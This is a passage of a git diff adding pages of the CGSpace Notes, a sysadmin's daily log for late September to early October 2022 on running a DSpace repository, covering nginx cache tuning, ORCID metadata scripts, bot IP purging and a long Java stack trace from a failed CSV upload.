  • Pascal says that they have made a pull request for their duplicate checker on DSpace 7 yayyyy
    • +
+

2022-09-24

+
    +
  • Found some more ORCID identifiers to tag so I added them to the list above
    • +
  • Start a harvest on AReS around 8PM on Saturday night
    • +
+

2022-09-25

+
    +
  • The harvest on AReS finished and now the load on CGSpace server is still high like always on Sunday mornings +
      +
    • UptimeRobot says it’s down sigh…
      • +
    +
    • +
  • I had an idea to include the HTTP Accept header in the nginx proxy cache key to fix the issue we had with CIP last week +
      +
    • It seems to work:
      • +
    +
    • +
+
$ http --print Hh 'https://dspacetest.cgiar.org/rest/items?expand=metadata,parentCommunityList,parentCollectionList,bitstreams&limit=10&offset=60'
+...
+Content-Type: application/json
+X-Cache-Status: MISS
+
+$ http --print Hh 'https://dspacetest.cgiar.org/rest/items?expand=metadata,parentCommunityList,parentCollectionList,bitstreams&limit=10&offset=60'
+...
+Content-Type: application/json
+X-Cache-Status: HIT
+
+$ http --print Hh 'https://dspacetest.cgiar.org/rest/items?expand=metadata,parentCommunityList,parentCollectionList,bitstreams&limit=10&offset=60' Accept:application/xml
+...
+Content-Type: application/xml
+X-Cache-Status: MISS
+
+$ http --print Hh 'https://dspacetest.cgiar.org/rest/items?expand=metadata,parentCommunityList,parentCollectionList,bitstreams&limit=10&offset=60' Accept:application/xml
+...
+Content-Type: application/xml
+X-Cache-Status: HIT
+
    +
  • This effectively makes our cache half as effective, but hopefully as more people start harvesting the number of requests handled by it will go up
    • +
  • I will enable this on CGSpace and email Moises from CIP to check if their harvester is working
    • +
+

2022-09-26

+
    +
  • Update welcome text on CGSpace after our meeting last week
    • +
  • I found another dozen or so ORCIDs for top authors on ILRI’s community on CGSpace and tagged them (~1,100 more metadata fields)
    • +
  • Last week we discussed moving cg.identifier.googleurl to cg.identifier.url since there is no need to treat Google Books URLs specially anymore as far as we know +
      +
    • I made the changes to the submission form and the XMLUI item displays, then moved all existing metadata in PostgreSQL:
      • +
    +
    • +
+
dspace= ☘ UPDATE metadatavalue SET metadata_field_id=219 WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id=222;
+UPDATE 1137
+
    +
  • Then I deleted cg.identifier.googleurl from the metadata registry
    • +
  • Meeting with Salem, Svetlana, Valentina, and Abenet about MEL depositing to CGSpace for the initiatives +
      +
    • Submitting to a collection without a workflow works as expected, and we can even select another collection (with a workflow) to map the item to from the MEL submission
      • +
    • The three minor issues we found were: +
        +
      • MEL still doesn’t send the bitstream
        • +
      • MEL sends metadata with a download URL on mel.cgiar.org
        • +
      • MEL sends a JPEG that says “no thumbnail” when an item doesn’t have a thumbnail
        • +
      +
      • +
    • I still need to send feedback to the group
      • +
    +
    • +
+

2022-09-27

+
    +
  • Find a few more ORCID identifiers missing for ILRI authors and add them to the controlled vocabulary and tag the authors on CGSpace
    • +
  • Moises from CIP says the WordPress importer worked fine with the current nginx proxy cache settings so it seems adding the HTTP Accept header to the cache key worked
    • +
  • Update my DSpace 7 environments to 7.4-SNAPSHOT +
      +
    • I see they have added thumbnails in some places now
      • +
    • Oh nice, they also added the “recent submissions” to the home page
      • +
    +
    • +
  • While talking with Salem about the MEL depositing to CGSpace we discovered an issue with HTTP DELETE on /items/{item id}/bitstreams/{bitstream id} or /bitstreams/{bitstream id} +
      +
    • DSpace removes the bitstream but keeps the empty THUMBNAIL bundle, which breaks the display in XMLUI
      • +
    +
    • +
  • Meeting with Enrico et al about PRMS reporting for the initiatives
    • +
+

2022-09-28

+
    +
  • I was reading the source code for DSpace 6’s REST API and found that it’s not possible to specify a bundle while POSTing a bitstream +
      +
    • I asked Salem how they do it on MEL and he said they pretend to be a human and do it via XMLUI!
      • +
    +
    • +
  • I added a few new ILRI subjects to the input forms on CGSpace +
      +
    • Both “bushmeat” and “wildlife conservation” are AGROVOC terms, but “wild meat” is not
      • +
    • The distinction ILRI would like to start making is:
      • +
    +
    • +
+
+

Meat comes from any animal, and when at ILRI we specifically make +reference to it in the context of livestock. However the word bushmeat +refers to illegal harvesting of meat. wild meat is being used as legal +harvesting of meat from wildlife and not from livestock.

+
+
    +
  • I added a few more CGIAR authors ORCID identifiers to our controlled vocabulary and tagged them on CGSpace (~450 more metadata fields)
    • +
  • Talking to Salem about ORCID identifiers, we compared list and they have a bunch that we don’t have:
    • +
+
$ cat ~/src/git/DSpace/dspace/config/controlled-vocabularies/cg-creator-identifier.xml ~/Downloads/MEL_ORCID_2022-09-28.csv | \
+  grep -oE '[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}' | \
+  sort | \
+  uniq > /tmp/2022-09-29-combined-orcids.txt
+$ cat ~/src/git/DSpace/dspace/config/controlled-vocabularies/cg-creator-identifier.xml | grep -oE '[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}' | sort | uniq | wc -l
+1421
+$ wc -l /tmp/2022-09-29-combined-orcids.txt 
+1905 /tmp/2022-09-29-combined-orcids.txt
+
    +
  • After combining them I ran them through my resolve-orcids.py script:
    • +
+
$ ./ilri/resolve-orcids.py -i /tmp/2022-09-29-combined-orcids.txt -o /tmp/2022-09-29-combined-orcids-names.txt -d
+
    +
  • I wrote a script update-orcids.py to read a list of names and ORCID identifiers and update existing metadata in the database to the latest name format
    • +
+
$ ./ilri/update-orcids.py -i ~/src/git/cgspace-submission-guidelines/content/terms/cg-creator-identifier/cg-creator-identifier.txt -db dspace -u dspace -p 'fuuu' -m 247 -d
+Connected to database.
+Fixed 9 occurences of: ADEBOWALE AD AKANDE: 0000-0002-6521-3272
+Fixed 43 occurences of: Alamu Emmanuel Oladeji (PhD, FIFST, MNIFST): 0000-0001-6263-1359
+Fixed 3 occurences of: Alessandra Galie: 0000-0001-9868-7733
+Fixed 1 occurences of: Amanda De Filippo: 0000-0002-1536-3221
+...
+

2022-09-29

+
    +
  • I’ve been checking the size of the nginx proxy cache the last few days and it always seems to hover around 14,000 entries and 385MB:
    • +
+
# find /var/cache/nginx/rest_cache/ -type f | wc -l
+14202
+# du -sh /var/cache/nginx/rest_cache
+384M    /var/cache/nginx/rest_cache
+
    +
  • Also on that note I’m trying to implement a workaround for a potential caching issue that causes MEL to not be able to update items on DSpace Test +
      +
    • I think we might need to allow requests with a JSESSIONID to bypass the cache, but I have to verify with Salem
      • +
    • We can do this with an nginx map:
      • +
    +
    • +
+
# Check if the JSESSIONID cookie is present and contains a 32-character hex
+# value, which would mean that a user is actively attempting to re-use their
+# Tomcat session. Then we set the $active_user_session variable and use it
+# to bypass the nginx proxy cache in REST requests.
+map $cookie_jsessionid $active_user_session {
+    # requests with an empty key are not evaluated by limit_req
+    # see: http://nginx.org/en/docs/http/ngx_http_limit_req_module.html
+    default '';
+
+    '~[A-Z0-9]{32}' 1;
+}
+
    +
  • Then in the location block where we do the proxy cache:
    • +
+
            # Don't cache when user Shift-refreshes (Cache-Control: no-cache) or
+            # when a client has an active session (see the $cookie_jsessionid map).
+            proxy_cache_bypass $http_cache_control $active_user_session;
+            proxy_no_cache $http_cache_control $active_user_session;
+
    +
  • I found one client making 10,000 requests using a Windows 98 user agent:
    • +
+
Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)
+
    +
  • They all come from one IP address (129.227.149.43) in Hong Kong +
      +
    • The IP belongs to a hosting provider called Zenlayer
      • +
    • I will add this IP to the nginx bot networks and purge its hits
      • +
    +
    • +
+
$ ./ilri/check-spider-ip-hits.sh -f /tmp/ip -p
+Purging 33027 hits from 129.227.149.43 in statistics
+
+Total number of bot hits purged: 33027
+
    +
  • So it seems we’ve seen this bot before and the total number is much higher than the 10,000 this month
    • +
  • I had a call with Salem and we verified that the nginx cache bypass for clients who provide a JSESSIONID fixes their issue with updating items/bitstreams from MEL +
      +
    • The issue was that they delete all metadata and bitstreams, then add them again to make sure everything is up to date, and in that process they also re-request the item with all expands to get the bitstreams, which ends up getting cached and then they try to delete the old bitstream
      • +
    +
    • +
  • I also noticed that someone made a pull request to enable POSTing bitstreams to a particular bundle and it works, so that’s awesome!
    • +
+

2022-09-30

+ + + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2022-10/index.html b/docs/2022-10/index.html new file mode 100644 index 000000000..eed034baa --- /dev/null +++ b/docs/2022-10/index.html @@ -0,0 +1,1032 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + October, 2022 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

October, 2022

+

+ + in + Notes + + +

+
+

2022-10-01

+ +

2022-10-03

+
    +
  • Make two pull requests for DSpace 7.x + +
    • +
  • Udana had asked me about their RSS feed and it not showing the latest publications in his email inbox +
      +
    • He is using this feed from FeedBurner: https://feeds.feedburner.com/iwmi-cgspace
      • +
    • I don’t have access to the FeedBurner configuration, but I looked at the raw feed and see it’s just getting all the items in the IWMI community
      • +
    • This OpenSearch query should do the same: https://cgspace.cgiar.org/open-search/discover?scope=10568/16814&query=*&sort_by=3&order=DESC
      • +
    • The sort_by=3 corresponds to webui.itemlist.sort-option.3 = dateaccessioned:dc.date.accessioned:date in dspace.cfg
      • +
    +
    • +
  • Peter sent me a CSV file a few days ago that he was unable to upload to CGSpace +
      +
    • The stacktrace from the error he was getting was:
      • +
    +
    • +
+
Java stacktrace: java.lang.ClassCastException: org.apache.cocoon.servlet.multipart.PartInMemory cannot be cast to org.dspace.app.xmlui.cocoon.servlet.multipart.DSpacePartOnDisk
+    at org.dspace.app.xmlui.aspect.administrative.FlowMetadataImportUtils.processUploadCSV(FlowMetadataImportUtils.java:116)
+    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+    at java.lang.reflect.Method.invoke(Method.java:498)
+    at org.mozilla.javascript.MemberBox.invoke(MemberBox.java:155)
+    at org.mozilla.javascript.NativeJavaMethod.call(NativeJavaMethod.java:243)
+    at org.mozilla.javascript.Interpreter.interpretLoop(Interpreter.java:3237)
+    at org.mozilla.javascript.Interpreter.interpret(Interpreter.java:2394)
+    at org.mozilla.javascript.InterpretedFunction.call(InterpretedFunction.java:162)
+    at org.mozilla.javascript.ContextFactory.doTopCall(ContextFactory.java:393)
+    at org.mozilla.javascript.ScriptRuntime.doTopCall(ScriptRuntime.java:2834)
+    at org.mozilla.javascript.InterpretedFunction.call(InterpretedFunction.java:160)
+    at org.mozilla.javascript.Context.call(Context.java:538)
+    at org.mozilla.javascript.ScriptableObject.callMethod(ScriptableObject.java:1833)
+    at org.mozilla.javascript.ScriptableObject.callMethod(ScriptableObject.java:1803)
+    at org.apache.cocoon.components.flow.javascript.fom.FOM_JavaScriptInterpreter.handleContinuation(FOM_JavaScriptInterpreter.java:698)
+    at org.apache.cocoon.components.treeprocessor.sitemap.CallFunctionNode.invoke(CallFunctionNode.java:94)
+    at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes(AbstractParentProcessingNode.java:55)
+    at org.apache.cocoon.components.treeprocessor.sitemap.MatchNode.invoke(MatchNode.java:87)
+    at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes(AbstractParentProcessingNode.java:55)
+    at org.apache.cocoon.components.treeprocessor.sitemap.MatchNode.invoke(MatchNode.java:87)
+    at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes(AbstractParentProcessingNode.java:78)
+    at org.apache.cocoon.components.treeprocessor.sitemap.SelectNode.invoke(SelectNode.java:82)
+    at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes(AbstractParentProcessingNode.java:78)
+    at org.apache.cocoon.components.treeprocessor.sitemap.PipelineNode.invoke(PipelineNode.java:143)
+    at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes(AbstractParentProcessingNode.java:78)
+    at org.apache.cocoon.components.treeprocessor.sitemap.PipelinesNode.invoke(PipelinesNode.java:81)
+    at org.apache.cocoon.components.treeprocessor.ConcreteTreeProcessor.process(ConcreteTreeProcessor.java:239)
+    at org.apache.cocoon.components.treeprocessor.ConcreteTreeProcessor.buildPipeline(ConcreteTreeProcessor.java:186)
+    at org.apache.cocoon.components.treeprocessor.TreeProcessor.buildPipeline(TreeProcessor.java:260)
+    at org.apache.cocoon.components.treeprocessor.sitemap.MountNode.invoke(MountNode.java:107)
+    at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes(AbstractParentProcessingNode.java:78)
+    at org.apache.cocoon.components.treeprocessor.sitemap.SelectNode.invoke(SelectNode.java:87)
+    at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes(AbstractParentProcessingNode.java:55)
+    at org.apache.cocoon.components.treeprocessor.sitemap.MatchNode.invoke(MatchNode.java:87)
+    at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes(AbstractParentProcessingNode.java:78)
+    at org.apache.cocoon.components.treeprocessor.sitemap.PipelineNode.invoke(PipelineNode.java:143)
+    at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes(AbstractParentProcessingNode.java:78)
+    at org.apache.cocoon.components.treeprocessor.sitemap.PipelinesNode.invoke(PipelinesNode.java:81)
+    at org.apache.cocoon.components.treeprocessor.ConcreteTreeProcessor.process(ConcreteTreeProcessor.java:239)
+    at org.apache.cocoon.components.treeprocessor.ConcreteTreeProcessor.buildPipeline(ConcreteTreeProcessor.java:186)
+    at org.apache.cocoon.components.treeprocessor.TreeProcessor.buildPipeline(TreeProcessor.java:260)
+    at org.apache.cocoon.components.treeprocessor.sitemap.MountNode.invoke(MountNode.java:107)
+    at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes(AbstractParentProcessingNode.java:55)
+    at org.apache.cocoon.components.treeprocessor.sitemap.MatchNode.invoke(MatchNode.java:87)
+    at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes(AbstractParentProcessingNode.java:78)
+    at org.apache.cocoon.components.treeprocessor.sitemap.PipelineNode.invoke(PipelineNode.java:143)
+    at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes(AbstractParentProcessingNode.java:78)
+    at org.apache.cocoon.components.treeprocessor.sitemap.PipelinesNode.invoke(PipelinesNode.java:81)
+    at org.apache.cocoon.components.treeprocessor.ConcreteTreeProcessor.process(ConcreteTreeProcessor.java:239)
+    at org.apache.cocoon.components.treeprocessor.ConcreteTreeProcessor.buildPipeline(ConcreteTreeProcessor.java:186)
+    at org.apache.cocoon.components.treeprocessor.TreeProcessor.buildPipeline(TreeProcessor.java:260)
+    at org.apache.cocoon.components.source.impl.SitemapSource.init(SitemapSource.java:277)
+    at org.apache.cocoon.components.source.impl.SitemapSource.<init>(SitemapSource.java:148)
+    at org.apache.cocoon.components.source.impl.SitemapSourceFactory.getSource(SitemapSourceFactory.java:62)
+    at org.apache.cocoon.components.source.CocoonSourceResolver.resolveURI(CocoonSourceResolver.java:153)
+    at org.apache.cocoon.components.source.CocoonSourceResolver.resolveURI(CocoonSourceResolver.java:183)
+    at org.apache.cocoon.generation.FileGenerator.setup(FileGenerator.java:99)
+    at org.dspace.app.xmlui.cocoon.AspectGenerator.setup(AspectGenerator.java:81)
+    at sun.reflect.GeneratedMethodAccessor255.invoke(Unknown Source)
+    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+    at java.lang.reflect.Method.invoke(Method.java:498)
+    at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+    at com.sun.proxy.$Proxy190.setup(Unknown Source)
+    at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.setupPipeline(AbstractProcessingPipeline.java:343)
+    at org.apache.cocoon.components.pipeline.impl.AbstractCachingProcessingPipeline.setupPipeline(AbstractCachingProcessingPipeline.java:710)
+    at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.preparePipeline(AbstractProcessingPipeline.java:466)
+    at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.prepareInternal(AbstractProcessingPipeline.java:480)
+    at sun.reflect.GeneratedMethodAccessor267.invoke(Unknown Source)
+    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+    at java.lang.reflect.Method.invoke(Method.java:498)
+    at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+    at com.sun.proxy.$Proxy189.prepareInternal(Unknown Source)
+    at org.apache.cocoon.components.source.impl.SitemapSource.init(SitemapSource.java:292)
+    at org.apache.cocoon.components.source.impl.SitemapSource.<init>(SitemapSource.java:148)
+    at org.apache.cocoon.components.source.impl.SitemapSourceFactory.getSource(SitemapSourceFactory.java:62)
+    at org.apache.cocoon.components.source.CocoonSourceResolver.resolveURI(CocoonSourceResolver.java:153)
+    at org.apache.cocoon.components.source.CocoonSourceResolver.resolveURI(CocoonSourceResolver.java:183)
+    at org.apache.cocoon.generation.FileGenerator.setup(FileGenerator.java:99)
+    at org.dspace.app.xmlui.cocoon.AspectGenerator.setup(AspectGenerator.java:81)
+    at sun.reflect.GeneratedMethodAccessor255.invoke(Unknown Source)
+    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+    at java.lang.reflect.Method.invoke(Method.java:498)
+    at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+    at com.sun.proxy.$Proxy190.setup(Unknown Source)
+    at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.setupPipeline(AbstractProcessingPipeline.java:343)
+    at org.apache.cocoon.components.pipeline.impl.AbstractCachingProcessingPipeline.setupPipeline(AbstractCachingProcessingPipeline.java:710)
+    at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.preparePipeline(AbstractProcessingPipeline.java:466)
+    at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.prepareInternal(AbstractProcessingPipeline.java:480)
+    at sun.reflect.GeneratedMethodAccessor267.invoke(Unknown Source)
+    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+    at java.lang.reflect.Method.invoke(Method.java:498)
+    at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+    at com.sun.proxy.$Proxy189.prepareInternal(Unknown Source)
+    at org.apache.cocoon.components.source.impl.SitemapSource.init(SitemapSource.java:292)
+    at org.apache.cocoon.components.source.impl.SitemapSource.<init>(SitemapSource.java:148)
+    at org.apache.cocoon.components.source.impl.SitemapSourceFactory.getSource(SitemapSourceFactory.java:62)
+    at org.apache.cocoon.components.source.CocoonSourceResolver.resolveURI(CocoonSourceResolver.java:153)
+    at org.apache.cocoon.components.source.CocoonSourceResolver.resolveURI(CocoonSourceResolver.java:183)
+    at org.apache.cocoon.generation.FileGenerator.setup(FileGenerator.java:99)
+    at org.dspace.app.xmlui.cocoon.AspectGenerator.setup(AspectGenerator.java:81)
+    at sun.reflect.GeneratedMethodAccessor255.invoke(Unknown Source)
+    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+    at java.lang.reflect.Method.invoke(Method.java:498)
+    at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+    at com.sun.proxy.$Proxy190.setup(Unknown Source)
+    at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.setupPipeline(AbstractProcessingPipeline.java:343)
+    at org.apache.cocoon.components.pipeline.impl.AbstractCachingProcessingPipeline.setupPipeline(AbstractCachingProcessingPipeline.java:710)
+    at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.preparePipeline(AbstractProcessingPipeline.java:466)
+    at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.prepareInternal(AbstractProcessingPipeline.java:480)
+    at sun.reflect.GeneratedMethodAccessor267.invoke(Unknown Source)
+    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+    at java.lang.reflect.Method.invoke(Method.java:498)
+    at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+    at com.sun.proxy.$Proxy189.prepareInternal(Unknown Source)
+    at org.apache.cocoon.components.source.impl.SitemapSource.init(SitemapSource.java:292)
+    at org.apache.cocoon.components.source.impl.SitemapSource.<init>(SitemapSource.java:148)
+    at org.apache.cocoon.components.source.impl.SitemapSourceFactory.getSource(SitemapSourceFactory.java:62)
+    at org.apache.cocoon.components.source.CocoonSourceResolver.resolveURI(CocoonSourceResolver.java:153)
+    at org.apache.cocoon.components.source.CocoonSourceResolver.resolveURI(CocoonSourceResolver.java:183)
+    at org.apache.cocoon.generation.FileGenerator.setup(FileGenerator.java:99)
+    at org.dspace.app.xmlui.cocoon.AspectGenerator.setup(AspectGenerator.java:81)
+    at sun.reflect.GeneratedMethodAccessor255.invoke(Unknown Source)
+    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+    at java.lang.reflect.Method.invoke(Method.java:498)
+    at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+    at com.sun.proxy.$Proxy190.setup(Unknown Source)
+    at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.setupPipeline(AbstractProcessingPipeline.java:343)
+    at org.apache.cocoon.components.pipeline.impl.AbstractCachingProcessingPipeline.setupPipeline(AbstractCachingProcessingPipeline.java:710)
+    at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.preparePipeline(AbstractProcessingPipeline.java:466)
+    at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.prepareInternal(AbstractProcessingPipeline.java:480)
+    at sun.reflect.GeneratedMethodAccessor267.invoke(Unknown Source)
+    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+    at java.lang.reflect.Method.invoke(Method.java:498)
+    at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+    at com.sun.proxy.$Proxy189.prepareInternal(Unknown Source)
+    at org.apache.cocoon.components.source.impl.SitemapSource.init(SitemapSource.java:292)
+    at org.apache.cocoon.components.source.impl.SitemapSource.<init>(SitemapSource.java:148)
+    at org.apache.cocoon.components.source.impl.SitemapSourceFactory.getSource(SitemapSourceFactory.java:62)
+    at org.apache.cocoon.components.source.CocoonSourceResolver.resolveURI(CocoonSourceResolver.java:153)
+    at org.apache.cocoon.components.source.CocoonSourceResolver.resolveURI(CocoonSourceResolver.java:183)
+    at org.apache.cocoon.generation.FileGenerator.setup(FileGenerator.java:99)
+    at org.dspace.app.xmlui.cocoon.AspectGenerator.setup(AspectGenerator.java:81)
+    at sun.reflect.GeneratedMethodAccessor255.invoke(Unknown Source)
+    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+    at java.lang.reflect.Method.invoke(Method.java:498)
+    at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+    at com.sun.proxy.$Proxy190.setup(Unknown Source)
+    at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.setupPipeline(AbstractProcessingPipeline.java:343)
+    at org.apache.cocoon.components.pipeline.impl.AbstractCachingProcessingPipeline.setupPipeline(AbstractCachingProcessingPipeline.java:710)
+    at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.preparePipeline(AbstractProcessingPipeline.java:466)
+    at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.prepareInternal(AbstractProcessingPipeline.java:480)
+    at sun.reflect.GeneratedMethodAccessor267.invoke(Unknown Source)
+    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+    at java.lang.reflect.Method.invoke(Method.java:498)
+    at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+    at com.sun.proxy.$Proxy189.prepareInternal(Unknown Source)
+    at org.apache.cocoon.components.source.impl.SitemapSource.init(SitemapSource.java:292)
+    at org.apache.cocoon.components.source.impl.SitemapSource.<init>(SitemapSource.java:148)
+    at org.apache.cocoon.components.source.impl.SitemapSourceFactory.getSource(SitemapSourceFactory.java:62)
+    at org.apache.cocoon.components.source.CocoonSourceResolver.resolveURI(CocoonSourceResolver.java:153)
+    at org.apache.cocoon.components.source.CocoonSourceResolver.resolveURI(CocoonSourceResolver.java:183)
+    at org.apache.cocoon.generation.FileGenerator.setup(FileGenerator.java:99)
+    at org.dspace.app.xmlui.cocoon.AspectGenerator.setup(AspectGenerator.java:81)
+    at sun.reflect.GeneratedMethodAccessor255.invoke(Unknown Source)
+    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+    at java.lang.reflect.Method.invoke(Method.java:498)
+    at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+    at com.sun.proxy.$Proxy190.setup(Unknown Source)
+    at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.setupPipeline(AbstractProcessingPipeline.java:343)
+    at org.apache.cocoon.components.pipeline.impl.AbstractCachingProcessingPipeline.setupPipeline(AbstractCachingProcessingPipeline.java:710)
+    at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.preparePipeline(AbstractProcessingPipeline.java:466)
+    at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.prepareInternal(AbstractProcessingPipeline.java:480)
+    at sun.reflect.GeneratedMethodAccessor267.invoke(Unknown Source)
+    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+    at java.lang.reflect.Method.invoke(Method.java:498)
+    at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+    at com.sun.proxy.$Proxy189.prepareInternal(Unknown Source)
+    at org.apache.cocoon.components.source.impl.SitemapSource.init(SitemapSource.java:292)
+    at org.apache.cocoon.components.source.impl.SitemapSource.<init>(SitemapSource.java:148)
+    at org.apache.cocoon.components.source.impl.SitemapSourceFactory.getSource(SitemapSourceFactory.java:62)
+    at org.apache.cocoon.components.source.CocoonSourceResolver.resolveURI(CocoonSourceResolver.java:153)
+    at org.apache.cocoon.components.source.CocoonSourceResolver.resolveURI(CocoonSourceResolver.java:183)
+    at org.apache.cocoon.generation.FileGenerator.setup(FileGenerator.java:99)
+    at org.dspace.app.xmlui.cocoon.AspectGenerator.setup(AspectGenerator.java:81)
+    at sun.reflect.GeneratedMethodAccessor255.invoke(Unknown Source)
+    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+    at java.lang.reflect.Method.invoke(Method.java:498)
+    at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+    at com.sun.proxy.$Proxy190.setup(Unknown Source)
+    at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.setupPipeline(AbstractProcessingPipeline.java:343)
+    at org.apache.cocoon.components.pipeline.impl.AbstractCachingProcessingPipeline.setupPipeline(AbstractCachingProcessingPipeline.java:710)
+    at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.preparePipeline(AbstractProcessingPipeline.java:466)
+    at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.prepareInternal(AbstractProcessingPipeline.java:480)
+    at sun.reflect.GeneratedMethodAccessor267.invoke(Unknown Source)
+    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+    at java.lang.reflect.Method.invoke(Method.java:498)
+    at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+    at com.sun.proxy.$Proxy189.prepareInternal(Unknown Source)
+    at org.apache.cocoon.components.source.impl.SitemapSource.init(SitemapSource.java:292)
+    at org.apache.cocoon.components.source.impl.SitemapSource.<init>(SitemapSource.java:148)
+    at org.apache.cocoon.components.source.impl.SitemapSourceFactory.getSource(SitemapSourceFactory.java:62)
+    at org.apache.cocoon.components.source.CocoonSourceResolver.resolveURI(CocoonSourceResolver.java:153)
+    at org.apache.cocoon.components.source.CocoonSourceResolver.resolveURI(CocoonSourceResolver.java:183)
+    at org.apache.cocoon.generation.FileGenerator.setup(FileGenerator.java:99)
+    at org.dspace.app.xmlui.cocoon.AspectGenerator.setup(AspectGenerator.java:81)
+    at sun.reflect.GeneratedMethodAccessor255.invoke(Unknown Source)
+    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+    at java.lang.reflect.Method.invoke(Method.java:498)
+    at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+    at com.sun.proxy.$Proxy190.setup(Unknown Source)
+    at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.setupPipeline(AbstractProcessingPipeline.java:343)
+    at org.apache.cocoon.components.pipeline.impl.AbstractCachingProcessingPipeline.setupPipeline(AbstractCachingProcessingPipeline.java:710)
+    at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.preparePipeline(AbstractProcessingPipeline.java:466)
+    at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.prepareInternal(AbstractProcessingPipeline.java:480)
